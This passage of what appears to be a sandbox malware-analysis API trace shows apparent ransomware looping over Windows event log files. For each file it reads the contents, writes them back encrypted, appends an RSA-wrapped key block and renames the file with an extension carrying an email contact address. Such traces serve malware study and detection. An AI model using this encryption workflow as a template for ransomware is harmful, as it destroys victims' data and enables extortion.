(lpExistingFileName="\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0127.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0127.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbc0 | out: hHeap=0x570000) returned 1 [0127.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0127.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdb50 | out: hHeap=0x570000) returned 1 [0127.374] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x2e40f20 [0127.374] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0127.375] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0127.375] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0127.376] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5c1e98 [0127.376] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x5b5a90 [0127.376] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e98 | out: hHeap=0x570000) returned 1 [0127.376] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0127.376] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0127.376] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0127.376] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0127.376] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.400] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.400] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.401] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0127.401] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0127.402] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0127.402] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.402] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.403] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0127.403] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0127.404] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0127.405] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b78 [0127.405] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b78, pcchString=0x2e3f9a8 | out: pszString="nPEbcnYJdvj9w+f1Nu9A5QGoa/0u8Pa1s/KxYkUonnkySilPuT6BdscjCu1tjO4R\nm7dukF2iTAo5xiei+ud8OaWBeSHyoDo612cRTvz571IwT12fM1rVVoE3fuGIP6uD\nCvZhqpdQn1SQtzRcf1XmTXmzYJURnJFr8eR+76YKfykURcq+M8W/zKG2i6mmyYoO\nQVAaGxwdxXMJMlwVCCsXNmolX7GsVS3gViZCEWhhaoJv+mFCuv+LfgzqYV2mV+yB\nYxm929X0bzqSjnaQnuYiLf1to/6I9l6O48t0H12qy7+cw0AcJc4v5KL3KVUcyaTP\n986bz8C8cq/rPOtRougICw==\n", pcchString=0x2e3f9a8) returned 1 [0127.405] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b78*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b78*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0127.405] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.405] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.405] CloseHandle (hObject=0x460) returned 1 [0127.409] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b78 | out: hHeap=0x570000) returned 1 [0127.409] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0127.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0127.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0127.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0127.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b85a8 | out: hHeap=0x570000) returned 1 [0127.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0127.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0127.412] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0127.412] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0127.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd808 [0127.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0127.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0127.412] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0127.412] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0127.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0127.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0127.413] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.436] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.436] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0127.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0127.438] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0127.438] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.438] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.439] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0127.439] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0127.440] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0127.440] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0127.440] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="KH+4jLnu1PLFLj8i2fkoIidXsbEq1/4hakSn15JSFA2/kp+QFmqs5gNiceXWsnrU\nh6goAf6jRUjRkxKzRVXgZe82uHKX0zkbhH0FPkTZKYOisvSq2vXVo5tGGPJUkluj\nd+NQSQ3vHOeRRZzBFzJjEHpX8l2c7nnYYgxHQ7qaXxjEKmNBW5H5P8Hnxor7ka4f\nLneI9+YV1oaBs9F7Enob15eGGDuHNGMttz0RdE6foXnvT6Ket9/abPQReKSey0Gx\no83EBaHJuvG92KRC/tGZYCHgBKDGq4ijw3hvz77rdnYS8veujGQP2pT1KLdnYUmf\ndEqTunzh5j6QxbIMTqNNcg==\n", pcchString=0x2e3f9a8) returned 1 [0127.440] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0127.441] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.441] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.441] CloseHandle (hObject=0x460) returned 1 [0127.443] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0127.443] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0127.445] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0127.445] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0127.445] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0127.445] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0127.445] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdda8 [0127.445] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0127.445] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0127.445] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0127.446] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdb50 [0127.446] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0127.446] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdb50 | out: hHeap=0x570000) returned 1 [0127.446] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0127.446] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0127.446] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0127.452] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0127.452] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.509] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.509] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.510] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0127.510] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0127.511] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0127.511] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.511] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.512] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0127.512] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0127.513] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0127.513] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0127.513] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="BFYC75ah5aMjgSTuKU2+MRTqm1X9IIPDUN12wn2SNK1/oHYUagC/FQR2Chq0JznM\n8gIpnA+gN8LI88fzED5My04fVoBnlP4cF+U6DquBqRWotHo76VQ6p+UjX2NLcsFu\ntZo+2TLAKS6zUQLJ2nDclloAtXt9KPFRYHNQIHvoOBCI0Xkb4orW9UPms73iavwM\n4ttbnsfnQXhOopMiO5wYb1o9mwYNAcl5pwIbOg4VJ5f+Sz30hYLahZgeYY5TvzZT\nRYpfkPSf+t7qDV2ZWvZC8E896VBqEf7v4G993jmMrpkhpEtwPTAYfD+AYdhl8weQ\n0mSw5U1dFhPTHttH9sxONA==\n", pcchString=0x2e3f9a8) returned 1 [0127.513] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0127.514] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.514] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.514] CloseHandle (hObject=0x460) returned 1 [0127.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0127.569] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0127.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0127.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0127.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0127.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0127.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x2e40f20 [0127.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0127.571] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0127.571] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0127.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5b85a8 [0127.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x5c1e98 [0127.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b85a8 | out: hHeap=0x570000) returned 1 [0127.572] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0127.572] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0127.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0127.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0127.572] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.594] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.594] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.594] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0127.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0127.598] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0127.598] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.598] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.598] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0127.598] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0127.600] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0127.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0127.600] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="uK6ocLiUCdbBR27qvzvjhuuY6DIwebsxD/ReygPW2r2F3DuUqXd5DY2Hu4PI82ui\nry7pTl2JiB0ViLmj5H9ni45Jb77v67iZhiPufgCtkKQDpDD1kUiYPpAZYVO2fMOU\nEOjEP+aEyL8Ipp2DsqH40N/v3BZBHZpK6BF4T6eWQyID0hTwoN/gA9b3lbAiJ2uM\nGbaychtdJHtSPpugrl7VOKthFNPaZbxJeoqUG8aTKHGHnk9BH0fttDkqmc6OuqKs\nWaYZf3JbnLswt7sd1y8TFQUAbsDr0muY7mGe717a/LiD0rNo/kaoZL/RUeen+F8X\n8mr4q/Z4UcR9+K7tHuj0MQ==\n", pcchString=0x2e3f9a8) returned 1 [0127.600] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0127.600] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.600] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.601] CloseHandle (hObject=0x460) returned 1 [0127.603] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0127.603] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0127.605] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e98 | out: hHeap=0x570000) returned 1 [0127.605] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0127.605] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0127.605] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0127.605] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdda8 [0127.605] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0127.605] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0127.605] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0127.606] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0127.606] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0127.606] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0127.606] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 